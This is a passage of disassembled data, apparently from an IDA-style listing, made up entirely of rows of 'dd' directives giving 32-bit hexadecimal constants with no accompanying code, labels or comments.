		dd 8F05FB18h, 72A78281h, 75B0D203h, 0F8B9E6A9h,	0F4A303h
		dd 9493F937h, 22405D4Dh, 18C1F350h, 0BA4B5C05h,	85800B73h
		dd 0EBA5CDh, 724D5D0Fh,	6A87CB9Ch, 0AD277100h, 0F3E72F1Dh
		dd 8AE490h, 0B01AE08Ch,	24EA87BEh, 1CA5B200h, 0EDADE797h
		dd 0C7CA0163h, 617CEBA0h, 3012FD03h, 69C36B2Fh,	0C82E68E9h
		dd 1DE55Bh, 884C8092h, 0AA545020h, 18587E30h, 0CB2A62Ah
		dd 0F1048F0h, 8AEEB838h, 600DA74h, 3982F11Ah, 1FEEFB95h
		dd 3098F9FEh, 52E34860h, 81AB1E01h, 0FB1C6466h,	0F83F6E0h
		dd 992E019h, 73487680h,	4B00B09Ch, 8D0A6A9Bh, 0C0D51023h
		dd 9EE4B8E0h, 74E20F2Bh, 16156F00h, 0AD4F2FEBh,	0A6F70035h
		dd 8B301005h, 0B31D878Ch, 9A1D86D1h, 9841E49Bh,	3B94089Eh
		dd 83B0711Bh, 9D728FF9h, 24D78D39h, 0B6001EBAh,	0A0FB5D29h
		dd 0C1F660F8h, 0B94CC1A3h, 232D7700h, 64FA3935h, 87190DCDh
		dd 0DBB0CF68h, 7A42B2D0h, 3F748407h, 4B438660h,	0B646F80Ah
		dd 26E1E053h, 7A4585h, 0BE6A1D3Fh, 5E0E916Fh, 40CEA9A7h
		dd 0EB0A2519h, 0FC1A5002h, 0FEA6E698h, 20260F66h, 0E1A052E2h
		dd 0F4FD28F7h, 8F9D603h, 0C0298105h, 0B8494h, 32DA6ED1h
		dd 53C6B10Ah, 7D49FF00h, 24859E7Fh, 0CD2F06A8h,	685F5B79h
		dd 71967800h, 0C2692B1Eh, 0BCCF3051h, 62F06818h, 5C00BE7Ch
		dd 6EF8A84Fh, 603E01EAh, 0F7020B1h, 0FF00E21Bh,	9719C405h
		dd 268EC9h, 5B8BD434h, 9B2E5723h, 0D0792400h, 4F46C46Dh
		dd 0D1940080h, 5AC9168Fh, 7E182BBDh, 84481D73h,	8CFD504Eh
		dd 762A035Bh, 25CCCE71h, 0F46D9BE0h, 0DBA42407h, 9C26FFFh
		dd 8DA080FEh, 0A18B27Dh, 484CDF2h, 74480ACh, 66A0DECEh
		dd 0E5E9F100h, 6DD1F28Dh, 967018DCh, 5C3F48C5h,	595A207h
		dd 2FC0E582h, 0D27B75h,	0D7C22EF0h, 0CCFC494Dh,	2CA83Dh
		dd 60A2C495h, 1D05766Fh, 0C691759h, 1920CD85h, 5EC43C00h
		dd 0C6E7867Ch, 96FD1EF6h, 759800A9h, 9A27B1DEh,	0D63B9F18h
		dd 3CACD030h, 0A40170ADh, 4DFFE51Eh, 5F088C56h,	0F17209Bh
		dd 0A9286474h, 0B608CBC0h
		dd 0E11C1E9Dh, 4B80E793h, 35343D80h, 0D40F00BFh, 21BA45B1h
		dd 9A2926D0h, 490034A3h, 7EA43764h, 594486E8h, 64B01C0Bh
		dd 80CF4782h, 0E55760FCh, 13035516h, 8DD00565h,	0DBAEC12Eh
		dd 7327708Dh, 71F9B7D0h, 7084C018h, 4646A432h, 9AB610h
		dd 6F64670Eh, 0EE12253Fh, 306C0689h, 586ADAA6h,	0F621280Ah
		dd 0A020BCD3h, 0D190741Fh, 5679F800h, 396FC0Dh,	0B53CD392h
		dd 2803D030h, 8597680Ch, 96B3D872h, 83F66A1h, 0EC3D49D9h
		dd 6A1E8323h, 0F9DB0793h, 91814EE7h, 0D72432CCh, 0E92EC842h
		dd 640FD200h, 8323E04Bh, 0D52B00B9h, 859D1830h,	0D7E42FF5h
		dd 0F9EC8C1Ch, 0FE067A80h, 9362CFh, 0F4640B36h,	0C66F8DCh
		dd 708B766h, 89CC0E21h,	9C8F0Bh, 0D13BCDFFh, 0D0008663h
		dd 0F432D564h, 753E759Dh, 66711Ch, 62EEC195h, 70AFF973h
		dd 0B92DC60Eh, 61F5C035h, 44F4491Ah, 3707A1B5h,	4C5CCAC6h
		dd 0ED098490h, 5570178Ah, 3C930C20h, 0CF00C828h, 880A92E5h
		dd 5CAD41h, 0D6C529AEh,	2B5D5A91h, 0DFE02700h, 668C9EBCh
		dd 0D138C0D4h, 22137B7Ah, 514D3E03h, 38CACE92h,	8C06CF79h
		dd 1167948Ah, 13414200h, 15D6D174h, 0CED91D98h,	72B00C14h
		dd 42001D20h, 999EB713h, 1D61608Bh, 3005C67Bh, 0B6EE2240h
		dd 0B2A3DE00h, 333CE34Dh, 563600B9h, 0D20C7A5Ch, 0CC001B93h
		dd 4370A9B6h, 505B373Dh, 7273B0FAh, 59A71C19h, 8F3A4761h
		dd 4F3D677Eh, 0B8138055h, 2AA300FBh, 4415C40Fh,	1F882602h
		dd 0E108B9F4h, 0EC509155h, 60682DD2h, 3B0910F5h, 390096A2h
		dd 561FE073h, 8D5882h, 92E266BBh, 794DA689h, 89FA8C2Eh
		dd 0AC17AF00h, 3DFC88CDh, 0B6808B16h, 0AEED2BFBh, 63007E8Eh
		dd 7274790Fh, 6FA7F1h, 6689863Eh, 10347A81h, 76183607h
		dd 0C01F7807h, 66573CFh, 0AC453AE5h, 4740386Fh,	8D88D134h
		dd 2C89A30Ch, 0C0170805h, 319CF659h, 1900E693h,	0C370180Ah
		dd 5CBE8Ah, 0AEFE1CBCh,	0E0D4D206h, 8303AC3Ch, 727EE9D3h
		dd 3E6003AFh, 1B36348Bh, 7BE1F7FBh, 0A80FCA0h, 1635B606h
		dd 630123Ch, 68B7AEFCh,	9272398Dh, 82D7B100h, 0FA84A24Bh
		dd 0FFA574F2h, 0BB2196h, 0BFB986EBh, 73030892h,	0FC135E1Ah
		dd 4B5000CDh, 8BA4BC09h, 0AD28066Ah, 8080F186h,	5C00B98Ah
		dd 0B8BAB37Eh, 0E3D736h, 0EA544AD0h, 3A7D3435h,	5C70C401h
		dd 0DF1F3F2Fh, 0F6B8DCh, 4CA479E3h, 0D5ECEE46h,	0FC09780Fh
		dd 48BBE020h, 0D8E349h,	33C7753Fh, 0BEF77ED7h, 0F584407h
		dd 92205E3Bh, 58C317ACh, 0BB0F6AFCh, 65A019C5h,	0E21E1CE4h
		dd 4EEACD00h, 42755433h, 0BF64001Ah, 0D21B6E05h, 7700F649h
		dd 6B650239h, 18091858h, 304D70CFh, 0D200643Eh,	0B5ABC60Dh
		dd 83AFFCh, 82188D5Fh, 540B6A9Ch, 0E1D20901h, 764DE99h
		dd 1FD96EC0h, 9C25B32Fh, 82858F6h, 9D00E34Eh, 0E2C7CF9Ah
		dd 90CCF2h, 1C253AF9h, 0C535E6C8h, 0DD0BF00h, 0CDED5EA9h
		dd 39683002h, 0C921D518h, 0B8ABC201h, 0D0239425h, 655F1910h
		dd 267DBA00h, 0EA69C256h, 0C17233h, 0E377A737h,	39F63F3Eh
		dd 0BBA33200h, 0CFC53870h, 612403F5h, 0BA8633D9h, 0B3172EA0h
		dd 8D9B3900h, 0F7774E66h, 69130043h, 57033FDh, 64EE3E16h
		dd 5400CEF4h, 0AE6F846h, 5A3BBFh, 253C532h, 5C2F8DEAh
		dd 83770CFCh, 0C300C073h, 0AA88EF9Fh, 3D8ECFE5h, 2A0044A5h
		dd 8D947E37h, 4C0E7160h, 80AB7718h, 7A5DA67h, 102C0075h
		dd 2914E3AFh, 0D4005F87h, 57043AE6h, 1858CC8Ch,	40363597h
		dd 0B3004A02h, 3EAF3D11h, 63765184h, 8A6708E6h,	0DAB12000h
		dd 50099811h, 6382FCD7h, 0E3734888h, 5F8FC0C8h,	902C7930h
		dd 30210DB2h, 80D15CC2h, 4E01A122h, 991039D7h, 89811E8h
		dd 0BAA7216Ch, 71EC7600h, 59AD8707h, 0F3FF451h,	0FFB244EEh
		dd 0A92A18D3h, 67067BEAh, 75A64DF5h, 0BEAD0410h, 0C07E3440h
		dd 940A3305h, 217208CCh, 417D00CCh, 0E4834060h,	3F2A4447h
		dd 63009C69h, 6C9A673h,	41F1A4h, 0B6C018CAh, 0DA5970E8h
		dd 9B797600h, 0FA33C956h, 0B488C157h, 8153D2C6h, 0A09A8018h
		dd 0C8800140h, 67CD6260h, 1348F379h, 1C8B245Ah,	7157303Ah
		dd 7411C1h, 0D20BB489h,	4A9DDFA2h, 0D7F88700h, 6D0F7558h
		dd 0A78C5063h, 0A669004Bh, 0F95E29F3h, 0FBB81C28h, 0AB127E00h
		dd 0E53F7381h, 68134802h, 3E600172h, 0ED88059Fh, 0B339F40Bh
		dd 2DA4F800h, 0DDCC1707h, 2030063h, 0E9586480h,	0C2EC8401h
		dd 0A1DA50Fh, 6BFFA005h, 0C58798h, 0B3CF9BDEh, 4485D0D6h
		dd 35D42500h, 0E9C38A03h, 5170074h, 4AC6429Fh, 8600B62Dh
		dd 255AC190h, 1E32EFA8h, 1E9CC9h, 0B5D00706h, 2E6044B6h
		dd 66998A48h, 118E01A7h, 3EF97A56h, 0C91880BFh,	0C7CD5248h
		dd 60DE0CB2h, 0EB314569h, 5963B40Fh, 871C869Ah,	0E9220148h
		dd 369D333Fh, 79688050h, 8B1ECC7Ch, 2BC14CE2h, 0B6203800h
		dd 9850C692h, 0B8250830h, 18794202h, 10046801h,	0F81D403Ah
		dd 994FC1BFh, 9E4A8EB1h, 605B34CFh, 0CFF4B4BDh,	0DBA400A0h
		dd 0F930A920h, 0A875E573h, 0C9715C01h, 5C7A3F4h, 0FE379EF0h
		dd 6C3A0001h, 0FE3FF15Fh, 1A00D56Bh, 5C491529h,	3FCFF7A6h
		dd 77002127h, 0B6D260B1h, 0C9008F0Fh, 244BA80h,	26ABC1h
		dd 0C41441F6h, 8AA6B19h, 3C5D8300h, 8EC21D6Ch, 14F7F86h
		dd 0D6B496FCh, 0D4444961h, 0C91EA818h, 43C0062Ah, 34CDE727h
		dd 0DDBF01EAh, 60F842B6h, 803FD1C5h, 0F1FBA848h, 1CEEAB6Bh
		dd 0CFD17F97h, 3C201C01h, 17E05563h, 56CD1F00h,	8FD9F985h
		dd 0BB5F1C62h, 88DC80DBh, 8DADBA93h, 26F3D00h, 2F2BB0ECh
		dd 729600B9h, 46C2FE48h, 6C03FC23h, 9C5C4AF9h, 78A00043h
		dd 0C3B45B8Ah, 0FC1E025Ah, 0FBC0BAEBh, 5394C197h, 0AA74C0h
		dd 82E59D43h, 622AEA47h, 6D8E3500h, 0E3A538BFh,	0B89F0070h
		dd 0B2838A96h, 0F0072DF5h, 3506C4F6h, 0E61F36F0h, 1D87005Bh
		dd 1522DF6Dh, 7A002792h, 42204D76h, 2E26CD6Bh, 1844E4B4h
		dd 0BC0A5804h, 0E20FBE74h, 80DB1C2Dh, 568880DDh, 5BF602C6h
		dd 0F30E7B82h, 0D4E37840h, 8991ACF5h, 43031F00h, 3A190DC9h
		dd 6B805C05h, 6DEC1846h, 4E0F5E8Dh, 46312766h, 303974B5h
		dd 1D98D901h, 0E0026543h, 0B203FC5Bh, 0BA3EE17Ah, 38276ECh
		dd 573F67ECh, 390FDCDAh, 8E481C04h, 0B697A7ABh,	0E3570A70h
		dd 0F121008Eh, 5DB6B96h, 4300E93Bh, 0B64F322Dh,	6040D3EBh
		dd 19E24009h, 0EC1CA0E3h, 0A280E6ADh, 0B34B84C3h, 18C80093h
		dd 99110FEFh, 30003ADDh, 718783BAh, 18B20B63h, 10D572C1h
		dd 320152F7h, 8035AF22h, 0BC43AD20h, 0D420FDBFh, 0B25E162h
		dd 5D446B0Eh, 49FB580h,	28C185D5h, 8F849938h, 0EDCBE4h
		dd 69225E5Ah, 1E40E971h, 0F5D5063Dh, 0C2B3BF1Ch, 0C0360E3Dh
		dd 5C65E472h, 0A07D4B87h, 0F14070D1h, 2BD7ACh, 0D164EE79h
		dd 1B835655h, 7B61EB00h, 4F6EC354h, 5C601C7Ah, 0F58481C0h
		dd 0FCBCF446h, 0DD031213h, 0D4723758h, 0F806A10Dh, 0B780EABDh
		dd 3530E649h, 0FD1F1B0Eh, 79800758h, 0BC0C029Dh, 347B00F0h
		dd 4D8C6EC5h, 8DEC3F84h, 8FB04724h, 8F809E00h, 0C42D42Eh
		dd 0BBCDCEFh, 3100E798h, 0E6B438EAh, 0CB85C1h, 7B90C9C7h
		dd 69A4B30Bh, 0E1001BF0h, 1DB69573h, 0E294220Fh, 61C5049Dh
		dd 805C3A91h, 0E621ED8Eh, 0DD1EADFAh, 6A008351h, 0B173DEAh
		dd 1D651863h, 0A198C8BBh
		dd 0B5EBA600h, 3224AFE6h, 2263B4Eh, 9EDB180h, 65C63C2Ch
		dd 0DE1DD17Fh, 0B51E98D2h, 24E443C0h, 0C2E4236h, 51835BEFh
		dd 9C1F0110h, 0AF00B135h, 4A41393Ah, 7BB50F55h,	1D1DE825h
		dd 4DFAC3A2h, 58072E21h, 0DF5F8CA1h, 25806160h,	17C88h
		dd 0E4271BA2h, 0B43E8319h, 351EE0E2h, 4841B305h, 6E342CAFh
		dd 0CC7069C9h, 778107B5h, 503D334Ch, 0B0A023EBh, 0BAC7C907h
		dd 3E30409Bh, 0A12464h,	83821B4Dh, 0E5A5B6F5h, 62DDC43Fh
		dd 430CAFC8h, 1AE00317h, 2EDEE8A0h, 0D0EC1825h,	84B230FFh
		dd 0A0FBAE10h, 0D8A784A8h, 6FCC6E03h, 964414h, 0EAA459E1h
		dd 7D9995Fh, 51A13D26h,	215E130Fh, 0BBA5627h, 98A849E8h
		dd 4ABB0072h, 0D27E1FE7h, 0ED0663CAh, 69313C46h, 37E11580h
		dd 0C3222498h, 0D2593200h, 3B04265Ch, 2725319Dh, 8005F7C8h
		dd 0ACA0ED1h, 3A22B515h, 0D60F3F49h, 28C011C2h,	32B00D59h
		dd 0A7146B00h, 3FF8CCE1h, 0CA730036h, 31535747h, 8460960Bh
		dd 4A46C38h, 92D8A030h,	0D7441EBDh, 5B164E05h, 2AFADF2Ch
		dd 3B1E4A75h, 530E764Bh, 0A392A537h, 82D5BC0Fh,	60753E2Dh
		dd 5067ACADh, 54E4A043h, 0F1A4E1h, 0F3F073D1h, 33E5B093h
		dd 0DE4B3C0Ch, 29C40A5h, 0E1CD6323h, 284056EDh,	3201AB88h
		dd 0EF58F077h, 0F7C83357h, 0B2A601D5h, 0DCEC6179h, 14845022h
		dd 8A586095h, 0C2670047h, 0E10AE556h, 0E858900Fh, 0CC8F4054h
		dd 63EA7110h, 0A84C7015h, 0D6BED404h, 0F3808031h, 0FD306DE1h
		dd 4FCCC055h, 0D40B00A7h, 0A09374B4h, 4700D836h, 303F79CEh
		dd 787C1F8Fh, 4A3563Ah,	750409E0h, 0B000C87Ch, 95334E6Fh
		dd 55C985h, 0EC60DF2Ah,	152E4587h, 4CE4F924h, 62F32000h
		dd 0F75C9A2h, 5DE0BF8Dh, 0BDBC1B60h, 36014681h,	399DC492h
		dd 0E0EFC32Eh, 26440471h, 7C8CAACh, 30552CDDh, 9AC0F3C4h
		dd 34EA0C0Ch, 6D3044h, 6577CC63h, 48947E3Fh, 52A32705h
		dd 0C81D5FB5h, 16002D96h, 28E9ECC8h, 0D9E0005Eh, 3E741B13h
		dd 0E3004DE8h, 0ADF0A2A5h, 49797Bh, 7AB1E094h, 0D289CCB0h
		dd 57978B00h, 2DBC73D0h, 0E76C0007h, 0C566624h,	0DD0090AFh
		dd 2B682389h, 3E40AD4h,	0F003BB07h, 67C8865Bh, 270193C7h
		dd 1C4E9F4Ah, 63D0DE42h, 6E010302h, 4B16977Ch, 65A0BDA8h
		dd 5B2A750Eh, 0FD11E089h, 30BEA9h, 0EAF7D1FFh, 5951CECFh
		dd 60F747Ch, 20BF0839h,	0C57DC2F6h, 0FEE407ABh,	59305B76h
		dd 0F0E3CF80h, 1C001597h, 0E62B626Ch, 506D3F08h, 0D3E47Dh
		dd 0B8C44E4Fh, 5CC90264h, 818AC83Ah, 0DC3E376Ch, 0B4409CB6h
		dd 715EC3h, 0DD708D80h,	0E88AACFCh, 1D084C48h, 0E1CF3EDAh
		dd 2FE6E606h, 0C0AC0058h, 21FEAAEh, 0C716D1B5h,	640083FFh
		dd 0A93699EBh, 2FB016C2h, 0F0F900D0h, 0F2696DD4h, 0A0108E07h
		dd 1A429D88h, 3A3040AAh, 8F130034h, 0AFCBC74Ah,	0EF000F37h
		dd 5772DB05h, 0B03E51h,	91208C2Dh, 0FF463DF1h, 7CD9CA00h
		dd 4ED949Ch, 0CEB603FEh, 427A63A8h, 0CD91FFC8h,	44009F70h
		dd 6A4C34ADh, 526EAFh, 8454666Dh, 4EED9518h, 97D75900h
		dd 8A0B364Bh, 0A4C40088h, 0DE93B8FFh, 56301863h, 0A70E08E7h
		dd 0E0A2E676h, 0FCB1F68Fh, 7F5D908Dh, 7070FEh, 5FCBBEF9h
		dd 8B24C9AFh, 0EA01C100h, 9D136EDCh, 67700045h,	54F8BEFAh
		dd 0A57CC4D2h, 0B88C9000h, 5EBF3D6Ch, 61B50043h, 0ABEA0444h
		dd 520E065Ah, 0A06CC0D9h, 30948910h, 0D884509Ch, 0AF3F0339h
		dd 0F4FE1317h, 50E0CAC9h, 724AF29Ch, 8FB67F16h,	0FD9F3E00h
		dd 1E4F4777h, 0FE8223BAh, 9EBFF080h, 1161F102h,	1BFAAA7Fh
		dd 730EB100h, 72628478h, 22F4A012h, 704C01A6h, 45A03202h
		dd 0BEF84019h, 7426C57Bh, 200B8B36h, 4C8680F6h,	4C493ECBh
		dd 3003B68Dh, 9BA57F27h, 0DBACB003h, 0C1E7AF58h, 0FC41B523h
		dd 0CF30EB45h, 1C210015h, 0CCDF5EF4h, 3F304E73h, 2B2395Fh
		dd 0D22C182Fh, 1990584Fh, 8BFCCE05h, 5C07835h, 285D4EC1h
		dd 4050E2h, 0E6FA3D54h,	0F7D9A3B3h, 7FF03A00h, 0B4022059h
		dd 3A1F58FCh, 0DFC7E401h, 40751572h, 0DA70BBE3h, 0F719AF00h
		dd 0D90B28E0h, 0F58C01FDh, 0B0142C44h, 0AC50345Eh, 3789F71Ch
		dd 0A9B90BC0h, 1BD7FB2h, 0EA3E6636h, 344B9FB3h,	460BF4A4h
		dd 83DDC01Fh, 9FF6297Dh, 81F2C6F0h, 18E10372h, 0A4EE3BC7h
		dd 581F818Eh, 0F2C084AAh, 1B779BEDh, 2757129Eh,	2A1638h
		dd 4226C5FDh, 25009CF3h, 6CF7DF7h, 1FD8A03Ch, 6C208Dh
		dd 1AEC1713h, 0C21E4F18h, 2B00B6F4h, 1DFC045Ah,	4D6C4C30h
		dd 943C0B04h, 0A323C05Dh, 94984275h, 127F5700h,	51CEB07h
		dd 0FAA2002Ch, 0D6934483h, 0A006F42h, 0DC952F94h, 0A8745Ch
		dd 18FA0152h, 7FC567D5h, 0A500F2E0h, 60649EAFh,	837C6h
		dd 79DE0576h, 0D64533ADh, 0D000577Ah, 3B6FD981h, 0B87683h
		dd 0F4247B0Dh, 0AA29EC8Ch, 0A1C5821Eh, 0E82A1880h, 28F63Bh
		dd 0A8E7572Ch, 49E5BF8Ch, 66EE7A03h, 9F7B5C68h,	0D6B22ED0h
		dd 0A82500CCh, 30E8913h, 1639EF5Dh, 74E18035h, 0C77B99A0h
		dd 65F01FAh, 0B2C0E43Eh, 0D4B7C55Ch, 0F50002DCh, 1D377A10h
		dd 0C988E3h, 0F19270A3h, 978528Ah, 73C024F5h, 807E2F75h
		dd 0F79E7100h, 0BBB1D78Dh, 6453040Dh, 88BCF57Ah, 0CE004D84h
		dd 3450D776h, 2B277Bh, 7197FF33h, 387D10A6h, 7184E48h
		dd 461D5645h, 0ACD047C4h, 9040F6h, 0F78FC13Ah, 0C68C6892h
		dd 3F92A12h, 50E87C00h,	7949AC0Dh, 40BC09DCh, 3C80518Eh
		dd 54CE7B61h, 9089CB62h, 0B904C05Dh, 431200A4h,	3A396110h
		dd 0D6F462A1h, 0D24DED00h, 8FB80CF0h, 29FD032Bh, 21C93FB7h
		dd 0A033A880h, 0AD420800h, 7F75B954h, 7C24038Eh, 95D305D1h
		dd 0ED6DD280h, 0B69E6100h, 25E2049Fh, 71020062h, 74094ECCh
		dd 0C90183A1h, 3C2E23A2h, 95E8D398h, 0ADB0029h,	32D61113h
		dd 8100AD89h, 0C8CB4FB5h, 0BFBB2h, 9822E55h, 19C2F3DAh
		dd 1C711E2Ch, 0E1C9EA9Bh, 88D0FD63h, 532E0072h,	0B77C351Ah
		dd 6C0125D1h, 48A85A4Bh, 3E09A11h, 64A407EDh, 30612CFAh
		dd 0FD95A1BAh, 0FFAB9300h, 7BE77651h, 0EA774C7Ch, 0BE80C003h
		dd 1EF8EB5Dh, 0BD4DBA06h, 0F8700F30h, 4821E00Fh, 342744Bh
		dd 75E8D3E6h, 59D8ACCCh, 1C0A1912h, 0E0CDDAF3h,	0D2D0Bh
		dd 0C95CEBCFh, 3B100E1h, 0F1DD7119h, 163EE342h,	2E59004Fh
		dd 41E68A2Ch, 8D0A0315h, 53EAA077h, 832280BDh, 190010E1h
		dd 0A56B6D3Eh, 4D7C1445h, 89C2E0C2h, 541847D8h,	24EC9227h
		dd 0E1A711h, 4E8E805Ah,	550067BBh, 0E8354ACh, 619EEFh
		dd 0D46ED6E5h, 455FA6ECh, 35F2A200h, 9BC27969h,	3C30004Ah
		dd 0ED8B4D2Bh, 93025047h, 655E5FCAh, 0B6CC821Dh, 68C0480Ch
		dd 600F49A3h, 53347778h, 61262432h, 0A70950D8h,	29EE5770h
		dd 0F9161C00h, 0C4032273h, 5CDD0130h, 14700BB8h, 8F1070F7h
		dd 6423A41Eh, 4719BCC0h, 7D9E7E20h, 0D4EC0066h,	0C0503683h
		dd 0B80E7296h, 0C01EEF38h, 303FD50Fh, 628316C5h, 0A9700B50h
		dd 25F39810h, 5A05BE76h, 86351B11h, 30B88C00h, 2996DA6h
		dd 1D214B01h, 2064F162h, 82B4FC13h, 7D1808h, 819B91A6h
		dd 5E145675h, 80B0B27Ah, 6AE774C9h, 0FAF11F34h,	2A96E5h
		dd 5D05ECDCh, 83002496h, 8DBD4025h, 0B2343563h,	0E74A3BECh
		dd 6FE0D280h, 3EEB2589h, 7E6EA40Eh, 80C00931h, 8D6C5AF4h
		dd 4B5E0347h, 22434219h
		dd 0A3CF46A0h, 79BA3100h, 0B788F572h, 0C32E1630h, 0B3C02295h
		dd 9C815080h, 0EC026BAEh, 0D1C0DD11h, 1186D4Eh,	0C23CB682h
		dd 3EEAD8DFh, 590014FCh, 6D5D5101h, 1D6EB07Dh, 0DC76FD0Dh
		dd 0CEC300D8h, 6B5568A5h, 8446600h, 1B35C7B7h, 0F2BF0047h
		dd 49A3CA14h, 1302B506h, 5832F3F5h, 732FC0F0h, 0B3C90189h
		dd 0B1B2E32Ch, 823EF0DFh, 0BB9FD100h, 0ECC7A798h, 2FE1004Dh
		dd 0F6346E9Eh, 0FF063221h, 47E24BEDh, 4C5D5C2Ch, 9C7287E0h
		dd 0EE829F50h, 2C3AA8B0h, 0C4A8C8CFh, 8065D96Ah, 63B14D88h
		dd 0D5C1E100h, 681E35D6h, 84941FFFh, 0DD5D0095h, 7D244A96h
		dd 0E00E3002h, 0D7589B53h, 0DF99BE00h, 0F8995481h, 56FACF60h
		dd 0E6CA0083h, 79C2FAEh, 9E0017FEh, 9A08C78Dh, 0C5455Ah
		dd 0CE5D4984h, 0B7822AA4h, 700CAB1Fh, 42D2D3C9h, 15B0C2DCh
		dd 27DC00F0h, 0CFEB6DF4h, 0E1A13802h, 40E0571Bh, 22A3F650h
		dd 4D1C097Eh, 0F4C15E2Ch, 0BC072D39h, 7C848432h, 2FBA005Dh
		dd 1E40C6Ah, 0B4C815BFh, 0D48739B3h, 1A98810Dh,	2EB26C00h
		dd 0A7C98584h, 0FF20053h, 0ABD29318h, 7006391h,	0A29AE159h
		dd 24460D97h, 1E04A7B5h, 0BA7881B7h, 0DC8F1037h, 0F40073EDh
		dd 1815FF80h, 0AFE03Ah,	6BA16249h, 826F0EA7h, 3600F072h
		dd 0A9C9A423h, 68C65Eh,	0F8EFFAFBh, 3EE1932Ah, 0ED61B466h
		dd 1AAC0602h, 30962078h, 4C9FA10Eh, 58E367A2h, 825AB3A0h
		dd 13E91642h, 0C0445DA0h, 0BB4CCFFDh, 29EA83BCh, 0DCF83B00h
		dd 61B4483Eh, 843D5836h, 206C7A02h, 9940544Dh, 6B00B0D3h
		dd 790AC890h, 0C7039Eh,	0E48A0BD4h, 31117054h, 6ACC7C00h
		dd 0E769EC05h, 15E4CFh,	48D0CE3Ah, 0E91DCAC4h, 9511AE00h
		dd 0D4B944F6h, 859C338Fh, 2EBB3999h, 0A3303Eh, 766958E6h
		dd 1F956123h, 3C4D0C0Eh, 0ED6C3380h, 2B40BF70h,	27EA1616h
		dd 85E36B07h, 0C376E0A1h, 1D66893h, 73717C70h, 5900E7C7h
		dd 0A24BAE1h, 13E3FD8h,	0C0D0F2A5h, 51988F1Bh, 8138344h
		dd 64BA0046h, 105B1F84h, 9A007B4Bh, 0E652425Fh,	54791Ch
		dd 0CF05A567h, 2461FAAFh, 9AF4B807h, 8370218Eh,	5041FFh
		dd 22A982D3h, 57A06A35h, 1963BA09h, 0B3358294h,	7CBDC014h
		dd 0FCA2E886h, 877E00C0h, 0B1FE7789h, 0B20082B5h, 62D674A7h
		dd 0CE0B0Eh, 998C7BBAh,	95F7DFDCh, 0A7293600h, 7F3881E5h
		dd 0E070075h, 47C6AB55h, 2501A461h, 0AEA1C7ACh,	0C8EBC45Eh
		dd 0C0195Fh, 61F5C29Bh,	0B3437817h, 9CBE012Ah, 0FF6BDA0Eh
		dd 0FC79A018h, 743F3B12h, 80DD98FDh, 0EC027A94h, 1C850B56h
		dd 0E4803684h, 9A072AE0h, 3476BA09h, 0C1E38024h, 14EC1917h
		dd 0B01C362Fh, 88456E00h, 0F5DD165Bh, 938D632h,	8EC8C867h
		dd 0AE810358h, 0B60FB5DFh, 57285598h, 93872100h, 4F48C735h
		dd 56A9043Ah, 0C0F48A8Fh, 123840CAh, 0C9872200h, 0D53421B5h
		dd 40921Dh, 107E2C83h, 0CC5B51BCh, 8BD4632h, 1C709Ah, 95CD8611h
		dd 289F05B1h, 8AB88960h, 2445F749h, 404C51CCh, 80AE8296h
		dd 0DC001091h, 6919AFA9h, 61F7173h, 0E15A168Ah,	0B1621B9h
		dd 8E00BEAEh, 3CC6B3A4h, 556E86Eh, 15688290h, 73240012h
		dd 43690FACh, 102440D0h, 212E4783h, 22B600EDh, 0CADF4E78h
		dd 55C1610Eh, 52DB2284h, 0FBB4A41Fh, 208BBE61h,	0DD5365B8h
		dd 210130B4h, 8BCE3Fh, 9376915Dh, 0C3787F02h, 0A1A3E830h
		dd 3CD26142h, 75A8E4h, 0E6380747h, 0F4CA2426h, 0A60E1C1Ch
		dd 0D5DBE00h, 0F5D8DFh,	47D5731Eh, 8376118Fh, 68F6E800h
		dd 29C29592h, 1D7140h, 97497BDCh, 0F230ADFDh, 7F007AEEh
		dd 0C492ED9Ah, 391C3BBAh, 9B006033h, 0B0DC0F2Dh, 0B500DE1Eh
		dd 0CE93880h, 9D4225h, 33E3BD2Bh, 130E3B4Fh, 0BCA2F803h
		dd 0B0F36BF9h, 304A441Eh, 227004C5h, 25003BD7h,	87B7DDE5h
		dd 27A457h, 0B9EF02CFh,	84DA163Fh, 3415051Dh, 85174FC0h
		dd 68F2B6h, 2CBC5CA3h, 35E11E44h, 0D0CF600h, 3DAD13C5h
		dd 0EBDB00BEh, 0E8A4A6EFh, 2600A263h, 4AEF2B5h,	0E6FCB9h
		dd 97C1BFE2h, 80119FC7h, 0CB8B3700h, 5EB44D27h,	1BC20061h
		dd 2133D56Bh, 88F2809Dh, 76E97B03h, 809BB1F4h, 46DF3Fh
		dd 0FEF2ED75h, 238963E1h, 2D7A6B00h, 2C98DCC0h,	0D01F00C5h
		dd 61E831CBh, 31FD8B6h,	187ADB28h, 65202470h, 0CE240h
		dd 366B13D6h, 0D86A71E9h, 0E1DE5Ch, 0EC115521h,	8CF59Dh
		dd 0AAEDD944h, 877F078Ah, 1F002578h, 0F82BCEBDh, 1EA2B9DEh
		dd 0C1BB2CACh, 140134B5h, 45E5E0AEh, 32ED33Eh, 0F018B8CBh
		dd 590807EAh, 212CB019h, 0F822D3DAh, 0C5010898h, 0A9E36B80h
		dd 209E5173h, 5EA4D62h,	0D961E318h, 0A82B72E8h,	31011D08h
		dd 164661DEh, 2D122554h, 40958B20h, 10E0028h, 6F5C9C61h
		dd 0B019F30h, 377929A4h, 0EECFC431h, 94341CF8h,	0CB338C2Ah
		dd 8700D910h, 0F5C8A1CEh, 15532EDEh, 0B8802AD2h, 35F71872h
		dd 0F17103Ch, 0FE919605h, 0A880AD0Ch, 0F28E8Ah,	0D938E3BEh
		dd 0EB98FAA5h, 0F3E0D0F7h, 9064800h, 945DB520h,	0D09F00ACh
		dd 828A4D69h, 0EB004CA8h, 9727E126h, 81C6CCh, 318D328Eh
		dd 87B62163h, 4F79A403h, 0F0D1F5FEh, 54FA6Ch, 4073C4F3h
		dd 3109C381h, 0F891E700h, 0D22DF1EBh, 0F4DEF03Ah, 0F0C50096h
		dd 0EC072EBEh, 8FF00ACBh, 0A0381000h, 88E82ABAh, 0C2EF00F8h
		dd 6049D899h, 0F70089CFh, 0A0367EBh, 0FC4B6A0Ch, 401C673Ah
		dd 0B52EA29Ch, 11A0880h, 73015C9Eh, 0C197251Eh,	82D0B128h
		dd 0F020C005h, 3AEF3848h, 9F331F03h, 0E6124972h, 94A800C9h
		dd 0EBC7B3E8h, 4006F0C4h, 0E1C9EC32h, 7F25F661h, 0D91703FDh
		dd 0E463C20Ah, 3DE20818h, 60CA8B20h, 8C1FDEFDh,	0C17AD37Eh
		dd 5362E700h, 63996F87h, 319E005Fh, 0CB528F81h,	2C3388CFh
